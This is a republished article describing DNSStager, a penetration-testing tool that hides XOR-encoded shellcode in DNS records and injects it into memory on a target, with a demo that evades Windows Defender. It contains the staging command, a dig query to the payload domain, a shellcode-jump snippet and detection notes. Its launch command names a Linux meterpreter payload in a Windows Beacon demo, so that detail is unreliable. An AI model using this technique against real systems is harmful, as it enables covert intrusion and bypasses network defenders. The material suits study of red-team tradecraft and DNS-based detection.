How DNSStager Hides Malware in DNS Queries for Stealthy Penetration Testing
DNSStager is an open‑source tool that encodes, splits, and embeds payloads into DNS AAAA or TXT records, uses a fake DNS server to deliver the chunks, reassembles them on the target, and injects the shellcode directly into memory, enabling covert malware delivery when only DNS traffic is allowed.
Background: Why DNSStager Is Needed
During a real penetration test the author encountered a target that blocked all outbound traffic except DNS, a common enterprise configuration where firewalls allow UDP/53. The challenge was how to transfer a payload of several hundred kilobytes or megabytes without using HTTP or TCP tunnels.
What DNSStager Is
DNSStager is an open‑source utility for red‑team and penetration‑test engineers that hides a payload inside DNS records and retrieves it via normal DNS resolution. The workflow consists of three steps:
Step 1 – Encode + Split: The original shellcode is XOR‑encoded (and Base64‑encoded in TXT mode) and divided into small chunks.
Step 2 – DNS Server Distribution: A forged DNS server answers queries for specially crafted sub‑domains, returning one chunk per response.
Step 3 – Client Receive + Memory Injection: A client agent issues the DNS queries, reassembles the chunks into the full payload, and injects it directly into memory without writing files.
The entire exchange appears as ordinary DNS lookups, avoiding HTTP/TLS traffic and evading most firewalls.
Core Features
IPv6 AAAA record mode – stores 16‑byte chunks in IPv6 addresses.
TXT record mode – stores larger chunks, with an extra Base64 layer for obfuscation.
XOR encoding – prevents simple signature detection.
Optional second‑layer Base64 in TXT mode.
C language and Go language agents – both customizable for different injection techniques.
Configurable request interval – the --sleep N flag inserts a delay between queries to reduce noise.
Practical Demonstration: Pulling a Cobalt Strike Beacon
The author demonstrates the full attack against a fully patched Windows Server 2019 with Windows Defender enabled.
4.1 Generate Shellcode
The Cobalt Strike console creates a Beacon payload saved as payload.bin, which becomes the “malware” to be delivered.
4.2 Launch DNSStager
./dnsstager.py --domain test.mydnsserver.live --prefix cdn --payload linux/x64/meterpreter/reverse_tcp --shellcode_path payload.bin --xorkey 0x20Key parameters: --domain: the domain that DNSStager will serve as an authoritative NS. --prefix: sub‑domain prefix (e.g., cdn0, cdn1) used to generate many queries. --xorkey: XOR key (here 0x20).
After starting, DNSStager prints the generated sub‑domains, each mapping to a payload chunk.
4.3 Verify DNS Resolution
dig AAAA cdn0.test.mydnsserver.liveThe response contains a 16‑byte XOR‑encoded fragment of the payload.
4.4 Generate and Deploy the Agent
DNSStager builds an executable agent (C or Go) that repeatedly queries the sub‑domains, collects all chunks, reassembles the shellcode, and injects it into memory.
4.5 Run the Agent and Receive the Beacon
The agent is copied to the target server and executed. The Beacon appears in the Cobalt Strike console, while network traffic consists only of DNS queries; Windows Defender raises no alerts.
Traffic Analysis and Detection
Wireshark captures show about 59 DNS AAAA requests, each returning a 16‑byte chunk. Larger payloads increase the request count proportionally (e.g., a 1 MB payload would generate a substantial number of DNS queries). Adding --sleep N spreads the traffic over time, making detection harder.
Customizing the Client Agent
The agent source resides in the templates/ directory. The C agent obtains the shellcode address and jumps to it:
int main(){
// Get shellcode address
LPVOID ShellcodeAddress = GetShellCodeAddress();
// Jump to shellcode
goto *ShellcodeAddress;
}Developers can replace the jump with other injection techniques such as Remote Thread or Process Hollowing. The Go agent uses CreateFiber for execution.
Installation
# Clone the repository
git clone https://github.com/mhaskar/DNSStager
# Install Python dependencies
pip3 install -r requirements.txt
# Run DNSStager (requires root)
sudo ./dnsstager.pyCompiling the C agent requires mingw-w64; the Go agent needs Go 1.16 or newer. Systemd‑resolved must be stopped before running DNSStager to free port 53.
Conclusion
DNSStager’s value lies in disguising payload delivery as legitimate DNS queries, which are typically allowed outbound in corporate networks. Combined with XOR encoding and in‑memory execution, it provides a practical stealth mechanism for penetration testers facing DNS‑only egress.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Black & White Path
We are the beacon of the cyber world, a stepping stone on the road to security.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
